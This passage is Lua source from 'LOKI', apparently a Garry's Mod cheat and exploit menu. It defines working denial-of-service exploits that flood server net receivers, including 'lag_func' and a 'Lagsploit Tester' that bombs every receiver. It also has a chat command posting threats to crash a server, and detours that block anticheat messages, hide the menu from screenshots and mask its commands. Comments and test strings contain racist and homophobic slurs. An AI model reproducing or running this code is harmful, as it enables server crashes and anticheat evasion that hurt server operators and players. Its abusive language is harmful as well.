1896 LOKI.DrawText( cmdp.Status, "DermaDefault", 635 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, cmdp.StatusCol )
1897 end
1898 LOKI.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
1899 end
1900 local width, height = cmdp:GetSize()
1901 local nfunctions = #t.functions
1902 local x = 10
1903 for _, tab in ipairs( t.functions ) do
1904 tab.max_width = (width / nfunctions) - (nfunctions * 5)
1905 if(tab.required == nil || tab.required == true) then
1906 if tab.typ == "func" then
1907 x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, tab.Name, t, nil, tab )
1908 elseif tab.typ == "bool" then
1909 x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, (!((LOKI.NotNil(tab.bool) && t.bools[tab.bool]) || t.bools.enabled) && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop")), t, nil, tab, tab.border)
1910 elseif tab.typ == "players" then
1911 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab )
1912 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1913 elseif tab.typ == "player" then
1914 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab, true )
1915 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1916 elseif tab.typ == "entities" then
1917 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab )
1918 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1919 elseif tab.typ == "entity" then
1920 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab, true )
1921 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1922 elseif tab.typ == "string" then
1923 x = (x + 5) + LOKI.MakeTextInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
1924 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1925 elseif tab.typ == "combo" then
1926 x = (x + 5) + LOKI.MakeComboButton( cmdp, x, 42, tab.Name, tab.default, tab.addr, tab.tbl, tab.restriction, tab.var, tab.sort, tab.find )
1927 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1928 elseif tab.typ == "float" then
1929 x = (x + 5) + LOKI.MakeNumberInputButton( cmdp, x, 42, tab.Name, tab.default, tab.min, tab.max, tab.addr )
1930 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1931 elseif tab.typ == "vector" then
1932 x = (x + 5) + LOKI.MakeVectorInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
1933 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1934 end
1935 end
1936 end
1937 Plist:AddItem( cmdp )
1938 end
1939 end
1940 local reset = false
1941 if(LOKI.BAIT_LIMIT != LOKI.GetStored( "baitthreshold", 5 )) then
1942 reset = true
1943 LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
1944 end
1945 local det_call = LOKI.DetourCall || false
1946 LOKI.DetourCall = true
1947 for k, v in ipairs(LOKI.GetAllExploits()) do
1948 if(reset) then v.scanned = false end
1949 LOKI.BlockNetOutgoing = true
1950 if(v.prevalidated) then LOKI.GENERAL_OVERRIDE = true end
1951 local scan = (v.scanned && !v.scan_always) || v.scan(v)
1952 LOKI.GENERAL_OVERRIDE = false
1953 LOKI.BlockNetOutgoing = false
1954 if scan then
1955 local Name = v.Name
1956 if(v.severity != 0 && #LOKI.GetExploit(Name) > 1) then
1957 Name = Name .. " #" .. v.Index
1958 end
1959 LOKI.CreatePanel( Name, v, Plist )
1960 if(scan != true) then v.channel = scan end
1961 if(!v.scanned) then
1962 if(isfunction(v.initial)) then
1963 v.initial(v)
1964 end
1965 v.scanned = true
1966 end
1967 if(v.hooks && istable(v.hooks)) then
1968 for k2, v2 in pairs(v.hooks) do
1969 if(LOKI.Hooks[k2] && LOKI.Hooks[k2][""]) then continue end
1970 if(events[k2] && !eventsR[k2]) then
1971 gameevent.Listen(k2)
1972 eventsR[k2] = true
1973 end
1974 local ret_val = nil
1975 hook_Add(k2, "", function(gm_ret, ...)
1976 local det_call = LOKI.DetourCall || false
1977 LOKI.DetourCall = true
1978 local skip = false
1979 if(LOKI.Killswitch || LOKI.Unload) then skip = true end
1980 local varargs = {...}
1981 if((k2:find("Draw") || k2:find("Render") || k2:find("HUD") || k2:find("Paint"))) then
1982 if(!system.HasFocus() || input.IsKeyDown(input.GetKeyCode(input.LookupBinding("jpeg") || "F5")) || input.IsKeyDown(KEY_F12)) then
1983 skip = true
1984 end
1985 end
1986 if(!skip) then
1987 for k3, v3 in ipairs( LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true) ) do
1988 if(!LOKI.GetEnabled(v3)) then continue end
1989 if((v3.hooks) && istable(v3.hooks) && v3.scanned) then
1990 local cooldown = LOKI.RecursiveGetVar(v3, {"vars", k2, "cooldown"}, "number")
1991 if(cooldown && cooldown - LOKI.REAL_CURTIME >= 0) then continue end
1992 if(k2 == "Think" && isfunction(v3.hooks[k2])) then
1993 if(v3.severity == 0) then
1994 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
1995 if(ret || ret == false) then
1996 ret_val = ret
1997 end
1998 else
1999 if(LOKI.NEXT_TIME <= SysTime()) then
2000 LOKI.RAN_THIS_TICK = true
2001 local tpt = (isfunction(v3.times_per_tick) && v3.times_per_tick(v3) || (v3.times_per_tick))
2002 local limit = 0
2003 if(!istable(tpt)) then
2004 limit = math.Clamp(math.Round(LOKI.SafeToNumber(LOKI.SafeToNumber(tpt))), 1, math.huge)
2005 else
2006 limit = LOKI.GetRateLimitedTimesPerTick() / #tpt
2007 end
2008 if(limit == math.huge) then
2009 limit = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT )
2010 end
2011 if(limit < LOKI.GetRateLimitedTimesPerTick()) then
2012 if(!LOKI.BUFFER) then
2013 LOKI.BUFFER = 0
2014 end
2015 LOKI.BUFFER = LOKI.BUFFER + LOKI.GetRateLimitedTimesPerTick() - limit
2016 end
2017 if(!limit || limit > LOKI.GetRateLimitedTimesPerTick()) then
2018 if(LOKI.BUFFER) then
2019 local tbl = LOKI.GetVarTable(LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true), "times_per_tick", LOKI.TYPEVARS.MORETHAN, LOKI.GetRateLimitedTimesPerTick())
2020 local tbl_C = 0
2021 for k4, v4 in ipairs(tbl) do
2022 tbl_C = tbl_C + LOKI.GetEnabledCount(v4)
2023 end
2024 local BUFFER = math.Round(LOKI.BUFFER / tbl_C)
2025 if(BUFFER == 0) then
2026 BUFFER = LOKI.BUFFER
2027 end
2028 BUFFER = math.Round(math.Clamp(BUFFER, 0, math.huge))
2029 limit = LOKI.GetRateLimitedTimesPerTick() + BUFFER
2030 LOKI.BUFFER = math.Round(math.Clamp(LOKI.BUFFER - BUFFER, 0, math.huge))
2031 else
2032 limit = LOKI.GetRateLimitedTimesPerTick()
2033 end
2034 end
2035 local mpt = (isfunction(v3.msgs_per_tick) && v3.msgs_per_tick(v3) || (v3.msgs_per_tick || 1))
2036 if(mpt > 1) then
2037 limit = limit / mpt
2038 end
2039 limit = math.Clamp(math.Round(LOKI.SafeToNumber(limit)), 1, math.huge)
2040 /*if(v3.Sender) then
2041 print("Sending " .. limit * mpt .. " for " .. v3.Name, v3.Index)
2042 end*/
2043 for i=1,limit do
2044 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2045 if(ret || ret == false) then
2046 ret_val = ret
2047 end
2048 end
2049 end
2050 end
2051 elseif(isfunction(v3.hooks[k2])) then
2052 if(k2 == "PostRender") then
2053 cam.Start2D()
2054 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2055 cam.End2D()
2056 else
2057 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2058 end
2059 if(ret || ret == false) then
2060 ret_val = ret
2061 end
2062 end
2063 end
2064 end
2065 end
2066 if(k2 == "Think" && LOKI.RAN_THIS_TICK) then
2067 LOKI.NEXT_TIME = SysTime() + (engine.TickInterval() * (LOKI.TICK_RATE / LOKI.GetStored( "tickdelay", LOKI.TICK_RATE)))
2068 LOKI.RAN_THIS_TICK = false
2069 end
2070 LOKI.DetourCall = det_call
2071 if(ret_val) then
2072 return ret_val
2073 elseif(ret_val == false) then
2074 return false
2075 end
2076 end)
2077 end
2078 end
2079 end
2080 end
2081 LOKI.DetourCall = det_call
2082 ActiveCount()
2083 if(istable(LAST_TABLE)) then
2084 table.Empty(LAST_TABLE)
2085 end
2086end
2087concommand.Add( "lowkey_menu", LOKI.OpenMenu)
2088concommand.Add("+lowkey_tele", function()
2089 LOKI.Freecam.Toggle(true)
2090end)
2091concommand.Add("-lowkey_tele", function()
2092 LOKI.Freecam.Toggle(false)
2093end)
2094local ctxlines = {
2095 "Hi, my name is Crash Johnson.",
2096 "I have access to 4 paid alts, each one of which allows me access to 5 other family shared steam alts.",
2097 "I plan to crash your server repeatedly until every single alt is banned.",
2098 "Then I'll buy some more alts and start over again.",
2099 "I won't stop until your server is down forever.",
2100 "Have a nice day.",
2101}
2102function LOKI.CrashJackson( p, cmd, arg )
2103 for k, v in pairs( ctxlines ) do
2104 if DarkRP then
2105 timer.Simple( k * 2, function() RunConsoleCommand("say", "// "..v) end )
2106 else
2107 timer.Simple( k * 2, function() RunConsoleCommand("say", v) end )
2108 end
2109 end
2110end
2111concommand.Add( "lowkey_crashjohnson", LOKI.CrashJackson )
2112concommand.Add( "lowkey_unload", function() LOKI.Killswitch = true end )
2113
2114local messagetypes = {
2115 [1] = { ["col"] = Color( 255, 255, 255 ), ["icon"] = Material( "icon16/application_xp_terminal.png" ) }, -- neutral message
2116 [2] = { ["col"] = Color( 250, 200, 140 ), ["icon"] = Material( "icon16/cross.png" ) }, -- negative message
2117 [3] = { ["col"] = Color( 180, 250, 180 ), ["icon"] = Material( "icon16/tick.png" ) }, -- positive message
2118 [4] = { ["col"] = Color( 250, 140, 140 ), ["icon"] = Material( "icon16/error.png" ) }, -- error message
2119 [5] = { ["col"] = Color( 180, 180, 250 ), ["icon"] = Material( "icon16/user.png" ) }, -- blue message
2120 [6] = { ["col"] = Color( 250, 250, 180 ), ["icon"] = Material( "icon16/lightbulb.png" ) }, -- lightbulb message
2121}
2122
2123local aegiscomponent = { color = -1, name = "Aegis" }
2124
2125local notifies = {}
2126local tableinsert = table.insert
2127local istable = istable
2128local error = error
2129
2130function LOKI.Notify( component, type, text )
2131 if !messagetypes then return end
2132 if !component or !istable( component ) then component = { color = Color( 255, 0, 0 ), name = "DEFINE A SCRIPT COMPONENT PROPERLY YOU AUTIST" } end
2133 if !messagetypes[type] then
2134 tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = Color(255,0,0), ["ctxt"] = "[ AEGIS ERROR ]", ["icon"] = "icon16/error.png", ["col"] = Color(255,0,0), ["txt"] = "Invalid aegis notify type! must be 1-6!" } )
2135 return
2136 end
2137 if component.color == -1 then component.color = Color( 55, 55, 155 ) end
2138 tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = component.color, ["ctxt"] = "[ "..component.name.." ]", ["icon"] = messagetypes[type].icon, ["col"] = messagetypes[type].col, ["txt"] = text } )
2139end
2140
2141/*for i=1, 6 do
2142 LOKI.Notify( { color = Color(150, 150, 150, 245), name = "Loki" }, i, "Loki v2 Colour Test" )
2143end*/
2144
2145local function DrawNotifies()
2146-- if !messagetypes then return end
2147 local x, y = 10, ScrH() / 2
2148 local cutoff = 0
2149 for k, v in pairs( notifies ) do
2150 if cutoff > 30 then continue end
2151 cutoff = cutoff + 1
2152 local lx = 10
2153 local timeleft = v.time - CurTime()
2154 if timeleft < 2 then lx = 10 - ( ( 2 - timeleft ) * 800 ) end -- pull back into the edge of the screen at the end of the timer
2155 if timeleft <= 0.5 then notifies[k] = nil continue end -- your time is up faggot
2156 local bgcol = Color( v.ccol.r, v.ccol.g, v.ccol.b, 145 )
2157 local bgcol2 = Color( v.col.r, v.col.g, v.col.b, 145 )
2158 surface.SetDrawColor( v.ccol )
2159 local txw, txh = draw.SimpleText( v.ctxt, "Trebuchet18", lx, y, v.ccol, 0, 0 )
2160
2161 surface.SetDrawColor( bgcol )
2162 surface.DrawRect( lx - 5, y - 1, txw + 10, 20 )
2163 surface.DrawLine( lx - 5, y - 1, lx - 5 + (txw + 10), y - 1 )
2164
2165 surface.SetDrawColor( Color(255,255,255, 150) )
2166 surface.SetMaterial( v.icon )
2167 surface.DrawTexturedRect( (lx - 5) + txw + 16, y + 1, 16, 16 )
2168
2169 txw = txw + 22
2170
2171 local txw2, txh2 = draw.SimpleText( v.txt, "Trebuchet18", (lx - 5) + txw + 20, y, v.col, 0, 0 )
2172 surface.SetDrawColor( bgcol2 )
2173 surface.DrawRect( (lx - 5) + txw + 15, y - 1, txw2 + 10, 20 )
2174 surface.DrawLine( (lx - 5) + txw + 15, y - 1, ((lx - 5) + txw + 15) + txw2 + 10, y - 1 )
2175
2176 y = y - 25
2177 end
2178end
2179
2180setmetatable(net.ReadVars, {
2181 __index = function(self, key)
2182 return net.ReadVars[key] || net.ReadVars[0]
2183 end,
2184})
2185/*LOKI.AddAllReceivers = function()
2186 for i = 1, math.huge do
2187 local str = util.NetworkIDToString(i)
2188 if not str then return false end
2189
2190 LOKI.AddExploit( str, {
2191 desc = "Potential lagsploit",
2192 severity = 0,
2193 bools = {enabled = false},
2194 status = -1,
2195 times_per_tick = math.huge,
2196 scan = function() return LOKI.ValidNetString( str ) end,
2197 hooks = {
2198 Think = function(tbl, sploit)
2199 LOKI.NetStart( sploit,str)
2200 net.SendToServer()
2201 end,
2202 },
2203 functions = {
2204 { typ = "bool", },
2205 },
2206 } )
2207 end
2208end
2209LOKI.concommand.Add("lowkey_addall", LOKI.AddAllReceivers)*/
2210local str = "\n"
2211LOKI.AddExploit( "lag_func", {
2212 desc = "Test exploit. (if this works let me know so I can officially enable it)",
2213 severity = 1,
2214 bools = {enabled = false},
2215 status = -1,
2216 times_per_tick = math.huge,
2217 scan = function() return LOKI.ValidNetString( "fp_chatText" ) end,
2218 hooks = {
2219 Think = function(tbl, sploit)
2220 if(str == "\n") then
2221 for i = 1, 65533 do
2222 str = str .. str
2223 end
2224 end
2225 LOKI.NetStart( sploit, "fp_chatText")
2226 net.WriteString(str)
2227 net.SendToServer()
2228 end,
2229 },
2230 functions = {
2231 { typ = "bool", },
2232 },
2233} )
2234if(LOKI.Developer) then
2235 LOKI.AddExploit( "Lagsploit Tester", {
2236 desc = "Bomb any receiver to find lagsploits",
2237 severity = -1,
2238 bools = {enabled = false},
2239 status = 1,
2240 times_per_tick = math.huge,
2241 vars = {},
2242 scan = function() return true end,
2243 hooks = {
2244 Think = function(tbl, sploit)
2245 if(LOKI.GetStored("tester1")[2] == "*") then
2246 sploit.times_per_tick = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / #LOKI.Receivers
2247 for k, v in ipairs(LOKI.Receivers) do
2248 if(v.str != "*") then
2249 LOKI.NetStart(sploit, v.str)
2250 net.SendToServer()
2251 end
2252 end
2253 else
2254 sploit.times_per_tick = math.huge
2255 LOKI.NetStart(sploit, LOKI.GetStored("tester1")[2])
2256 net.SendToServer()
2257 end
2258 end,
2259 },
2260 functions = {
2261 { typ = "combo", Name = "Sender", tbl = LOKI.GetAllReceivers(), restriction = nil, var = "str", sort = "str", find = "str", default = -1, addr = "tester1" },
2262 { typ = "bool", },
2263 },
2264 } )
2265end
2266//////////////////////////////////////////////- SPLOITS -////////////////////////////////////////////////
2267
2268LOKI.AddExploit( "Test Sploit", {
2269 desc = "Does nothing, used for menu testing",
2270 severity = 1,
2271 bools = {enabled = true},
2272 status = 1,
2273 times_per_tick = 1,
2274 vars = {},
2275 scan = function() return false end,
2276 /*count = {
2277 ["Active"] = 25,
2278 ["Total"] = 25,
2279 },*/
2280 hooks = {
2281 Think = function(tbl, sploit)
2282 PrintTable(tbl)
2283 print( LOKI.GetStored( "teststring", "" ).." is such a fucking gay nigger omg" )
2284 end,
2285 },
2286 functions = {
2287 { typ = "float", Name = "Niggers to kill", default = 1, min = 0, max = 100, addr = "testfloat" },
2288 { typ = "string", Name = "Enter a gay cunt", default = "you", addr = "teststring" },
2289 { typ = "players", addr = "testplayers" },
2290 { typ = "func", Name = "Fist his holes", args = {LOKI.GetLP()}, },
2291 },
2292} )
2293
2294function LOKI.TIME_TO_TICKS( dt ) return( LOKI.SafeToNumber( 0.5 + LOKI.SafeToNumber(dt) / engine.TickInterval() ) ) end
2295function LOKI.TICKS_TO_TIME( t ) return( engine.TickInterval() *( t ) ) end
2296function LOKI.ROUND_TO_TICKS( t ) return( engine.TickInterval() * LOKI.TIME_TO_TICKS( t ) ) end
2297LOKI.DRAW_TPS = 0
2298LOKI.OS_TIME = 0
2299LOKI.DROPPED_FRAMES = 0
2300LOKI.TICK_RATE = math.Round( 1 / engine.TickInterval() )
2301LOKI.RATE_LIMIT = 1028
2302LOKI.NEXT_TIME = 0
2303LOKI.REAL_CURTIME = 0
2304function LOKI.DrawText(...)--text, font, x, y, col
2305 if true then return draw.SimpleText(...) end
2306 surface.SetFont( font )
2307 surface.SetTextColor( col )
2308 surface.SetTextPos( x, y )
2309 surface.DrawText( tostring(text) )
2310end
2311function LOKI.GetRateLimitedTimesPerTick()
2312 local enabled = LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true)
2313 local senders = LOKI.GetVarTable(enabled, "Sender", LOKI.TYPEVARS.EQUALTO, true)
2314 local count = #senders
2315 for k, v in ipairs(senders) do
2316 local tbl_C = table.Count(v.bools)
2317 if(tbl_C > 1) then
2318 for k2, v2 in pairs(v.bools) do
2319 if(k2 != "enabled") then
2320 if(v2 == true) then
2321 count = (count + 1)
2322 end
2323 else
2324 count = count - 1
2325 end
2326 end
2327 end
2328 end
2329 local limit = count
2330 if(limit <= 0) then
2331 limit = 1
2332 end
2333 return math.Clamp(
2334 math.Round(
2335 (LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / LOKI.GetStored( "tickdelay",
2336 LOKI.TICK_RATE) / limit) * (LOKI.GetStored( "tickdelay", LOKI.TICK_RATE) / math.min(LOKI.GetStored( "tickdelay", LOKI.TICK_RATE), math.max(LOKI.GetStored( "fpsthreshold", 5 ), (1 / FrameTime()))))), 1, math.huge)
2337end
2338if(GAMEMODE.LimitHit) then GAMEMODE.LimitHit = function() return false end end
2339LOKI.DrawPanels = {}
2340LOKI.AddExploit( "Loki Settings", {
2341 desc = "Tweak performance",
2342 severity = 0,
2343 bools = {enabled = true},
2344 status = 4,
2345 times_per_tick = 1,
2346 vars = {},
2347 scan = function() return true end,
2348 hooks = {
2349 CreateMove = function(tbl, sploit, varargs)
2350 LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
2351 local cmd = varargs[1]
2352 if(cmd:TickCount() == 0 || cmd:CommandNumber() == 0) then return end
2353 if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then
2354 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_SPEED))
2355 end
2356 hook.Run("CL_Move", unpack(varargs))
2357 end,
2358 SetupMove = function(tbl, sploit, varargs)
2359 hook.Run("CL_PostMove", unpack(varargs))
2360 end,
2361 PostRender = function()
2362 LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
2363 render.SetRenderTarget( render.GetRenderTarget() )
2364 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2365 if((LOKI.Freecam.Enabled == true || (IsValid(ent) && ent.OBBCenter)) && !gui.IsGameUIVisible()) then
2366 render.RenderView( LOKI.Freecam.Data )
2367 for k, v in ipairs(vgui.GetWorldPanel():GetChildren()) do
2368 if IsValid(v) && v:IsVisible() then
2369 v:PaintManual()
2370 end
2371 end
2372 /*LOKI.GENERAL_OVERRIDE = true
2373 LOKI.GetLP():DrawModel()
2374 LOKI.GENERAL_OVERRIDE = false*/
2375 end
2376 LOKI.LAST_RENDER = SysTime()
2377 LOKI.DrawText( LOKI.DRAW_TPS .. "/" .. LOKI.TICK_RATE .. " - " .. LOKI.GetRateLimitedTimesPerTick(), "TargetID", 0, 0, Color( 255, 255, 255, 255 ) )
2378 LOKI.DrawText( "D: " .. LOKI.DROPPED_FRAMES, "TargetID", 0, 15, Color( 255, 255, 255, 255 ) )
2379 cam.Start3D()
2380 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2381 if(IsValid(ent) && ent.OBBCenter) then
2382 if(ent:IsDormant()) then
2383 ent:DrawModel()
2384 end
2385 else
2386 LOKI.IsHovered = false
2387 LOKI.SpectateEnt = false
2388 end
2389 hook.Run("Render3D")
2390 cam.End3D()
2391 hook.Run("Render2D")
2392 DrawNotifies()
2393 for k, v in ipairs(LOKI.DrawPanels) do
2394 if IsValid(v) && v:IsVisible() then
2395 v:PaintManual()
2396 end
2397 end
2398 end,
2399 CalcView = function(tbl, sploit, varargs)
2400 local ply, pos, angles, fov, drawviewer = unpack(varargs)
2401 drawviewer = false
2402 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2403 if(IsValid(ent) && ent.OBBCenter) then
2404 drawviewer = true
2405 pos = (ent:GetPos() + ent:OBBCenter())
2406 local tr = util.TraceLine( {
2407 start = pos,
2408 endpos = (ent:GetPos() + ent:OBBCenter())-( angles:Forward()*100 ),
2409 filter = function( hitent ) if ( hitent == ent ) then return false end end
2410 } )
2411 pos = tr.HitPos
2412 else
2413 LOKI.IsHovered = false
2414 LOKI.SpectateEnt = false
2415 end
2416 if ( LOKI.Freecam.SetView ) then
2417 LOKI.Freecam.ViewOrigin = pos
2418 LOKI.Freecam.SetView = false
2419 end
2420 if ( LOKI.Freecam.Enabled == true ) then
2421 LOKI.Freecam.Data = {origin = LOKI.Freecam.ViewOrigin, drawviewer = true, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false}
2422 else
2423 LOKI.Freecam.Data = ({ply = ply, origin = pos, angles = angles, fov = fov, drawviewer = drawviewer, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false})
2424 end
2425 //return LOKI.Freecam.Data
2426 end,
2427 StartCommand = function(tbl, sploit, varargs)
2428 local cmd = varargs[2]
2429 if ( LOKI.Freecam.Enabled == true ) then
2430
2431 LOKI.Freecam.ViewOrigin = LOKI.Freecam.ViewOrigin + ( LOKI.Freecam.Velocity )
2432 LOKI.Freecam.Velocity = LOKI.Freecam.Velocity * 0.95
2433
2434 local add = Vector( 0, 0, 0 )
2435 local ang = cmd:GetViewAngles()
2436 local move_mod = 4
2437 local speed_mod = 4
2438 if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() * move_mod end
2439 if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() * move_mod end
2440 if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() * move_mod end
2441 if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() * move_mod end
2442 if ( cmd:KeyDown( IN_JUMP ) ) then add = add + Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_JUMP) end
2443 if ( cmd:KeyDown( IN_DUCK ) ) then add = add - Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_DUCK) end
2444
2445 if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then add = add * speed_mod end
2446
2447 LOKI.Freecam.Velocity = LOKI.Freecam.Velocity + (add * RealFrameTime())
2448
2449 cmd:SetForwardMove( 0 )
2450 cmd:SetSideMove( 0 )
2451 cmd:SetUpMove( 0 )
2452
2453 end
2454 end,
2455 Tick = function(tbl, sploit)
2456 if(LOKI.RAW_FRAME_TIME == (1 / engine.ServerFrameTime())) then
2457 LOKI.DROPPED_FRAMES = LOKI.DROPPED_FRAMES + 1
2458 else
2459 LOKI.RAW_FRAME_TIME = (1 / engine.ServerFrameTime())
2460 LOKI.DROPPED_FRAMES = 0
2461 LOKI.REAL_CURTIME = _G.CurTime()
2462 end
2463 if(LOKI.OS_TIME != os.time()) then
2464 LOKI.DRAW_TPS = math.Clamp(LOKI.TICK_RATE - LOKI.DROPPED_FRAMES, 0, LOKI.TICK_RATE)
2465 LOKI.OS_TIME = os.time()
2466 end
2467 end,
2468 Think = function(tbl, sploit)
2469 local pan = vgui.GetHoveredPanel()
2470 if(IsValid(pan) && IsValid(pan.btnClose) && isfunction(pan.btnClose.SetVisible) && !pan.PaintedManually) then
2471 pan.btnClose:SetVisible( true )
2472 end
2473 end,
2474 OnReloaded = function()
2475 table.Empty(LOKI.Hooks)
2476 LOKI.RunDetours()
2477 if(IsValid(LOKI.Menu) && LOKI.Menu:IsVisible()) then
2478 LOKI.Menu:SetVisible(false)
2479 end
2480 LOKI.OpenMenu(true)
2481 end,
2482 concommand = {
2483 Run = function(sploit, varargs)
2484 if(LOKI.CommandList[ string.lower( varargs[2] ) ]) then
2485 pcall(function() LOKI.CommandList[ string.lower( varargs[2] ) ](unpack(varargs)) end)
2486 return false
2487 end
2488 end
2489 },
2490 gui = {
2491 ["*"] = function(tabk, funck, sploit, varargs)
2492 return false
2493 end
2494 },
2495 input = {
2496 ["*"] = function()
2497 return false
2498 end
2499 },
2500 render = {
2501 SetRenderTarget = function(sploit, varargs)
2502 //if(LOKI.GetStored( "securerenderer", false )) then return false end
2503 end
2504 },
2505 util = {
2506 NetworkIDToString = function(sploit, varargs)
2507 local det_call = LOKI.DetourCall
2508 LOKI.DetourCall = true
2509 LOKI.NetIncomingMsg = util.NetworkIDToString(varargs[1])
2510 LOKI.DetourCall = det_call
2511 if(!LOKI.NetIncomingMsg) then return end
2512 for k, v in ipairs(LOKI.GetAllExploits()) do
2513 local Receiver = LOKI.RecursiveGetVar(v, {"hooks", "net", "Receive"}, "function")
2514 if(Receiver) then
2515 if(Receiver(v, LOKI.NetIncomingMsg) == false) then
2516 return nil
2517 end
2518 end
2519 end
2520 end,
2521 LookupBinding = function(sploit, varargs)
2522 if(LOKI.CommandList[util.LookupKeyBinding(util.LookupBinding(varargs[0], true))]) then return false end
2523 end,
2524 LookupKeyBinding = function(sploit, varargs)
2525 if(LOKI.CommandList[util.LookupKeyBinding(unpack(varargs))]) then return false end
2526 end,
2527 },
2528 /*string = {
2529 lower = function(sploit, varargs)
2530 local str = varargs[1]
2531 if(str == "Odium") then
2532 return string.lower
2533 end
2534 if(str == "LOKI.GetTable()") then
2535 return LOKI
2536 end
2537 local LowerCommand = string.lower( str ) || str
2538 if ( LOKI.CommandList[ LowerCommand ] != nil ) then
2539 pcall(function() LOKI.CommandList[ LowerCommand ]( player, str, arguments, args ) end)
2540 end
2541 end,
2542 },*/ -- might use later, somewhat secure way to add concommands in clientstate but PlayerBindPress works better
2543 net = {
2544 Receive = function(sploit, strName)
2545 if(strName == "diagnostics1" || strName == "diagnostics2" || strName == "diagnostics3") then
2546 return false
2547 end
2548 end,
2549 /*WriteAngle = function(sploit, varargs)
2550 if(LOKI.NetOutgoingMsg == "thirdperson_etp") then
2551 varargs[1] = Angle(0,0,0,2^64)
2552 end
2553 end,*/
2554 ["*"] = function(tabk, funck, sploit, varargs)
2555 if(funck:StartWith("Write")) then
2556 if(LOKI.BlockNetOutgoing) then
2557 return false
2558 elseif(funck == "BytesWritten") then
2559 return -1
2560 elseif(LOKI.NetOutgoingMsg == "anticheat" || LOKI.NetOutgoingMsg == "thisisnotcool") then
2561 return false
2562 elseif(funck == "WriteTable") then
2563 if(LOKI.Developer) then
2564 PrintTable(varargs[1])
2565 end
2566 end
2567 elseif(funck:StartWith("Read")) then
2568 if(LOKI.BlockNetIncoming) then
2569 return false
2570 end
2571 end
2572 end,
2573 },
2574 PreDrawTranslucentRenderables = function()
2575 EyePos()
2576 EyeVector()
2577 EyeAngles()
2578 end,
2579 PlayerBindPress = function(tbl, sploit, varargs, ret)
2580 if(LOKI.CommandList[ string.lower( varargs[2] ) ] && varargs[3]) then
2581 pcall(function() string.lower( varargs[2] )(unpack(varargs)) end)
2582 return true
2583 end
2584 if(ret != nil) then return ret else return false end
2585 end,
2586 cam = {
2587 //Start3D = function() return false end,
2588 //End3D = function() return false end,
2589 },
2590 _G = {
2591 RunConsoleCommand = function(tbl, varargs)
2592 if(varargs[1] == "disconnect") then return false end
2593 end,
2594 },
2595 vgui = {
2596 Create = function(tbl, varargs)
2597 local classname, parent, name, loki = varargs[1],varargs[2],varargs[3],varargs[4]
2598 local ret = vgui.Create(classname, parent, name)
2599 if(!ret) then print("something touched me wrongly") return end
2600 ret.MenuStart = true
2601 if(classname == "DFrame" && loki == true) then
2602 ret:SetPaintedManually(true)
2603 ret.PaintedManually = true
2604 LOKI.DrawPanels[#LOKI.DrawPanels+1] = ret
2605 return LOKI.DrawPanels[#LOKI.DrawPanels]
2606 end
2607 return ret
2608 end,
2609 },
2610 },
2611 functions = {
2612 { typ = "float", Name = "Rate", default = LOKI.RATE_LIMIT, addr = "tpsrate", min = 1, max = (LOKI.ARES && math.huge || 1536) },
2613 { typ = "float", Name = "Ticks", min = 1, max = LOKI.TICK_RATE, default = LOKI.TICK_RATE, addr = "tickdelay" },
2614 { typ = "float", Name = "FPS", min = 0, max = math.huge, default = 5, addr = "fpsthreshold" },
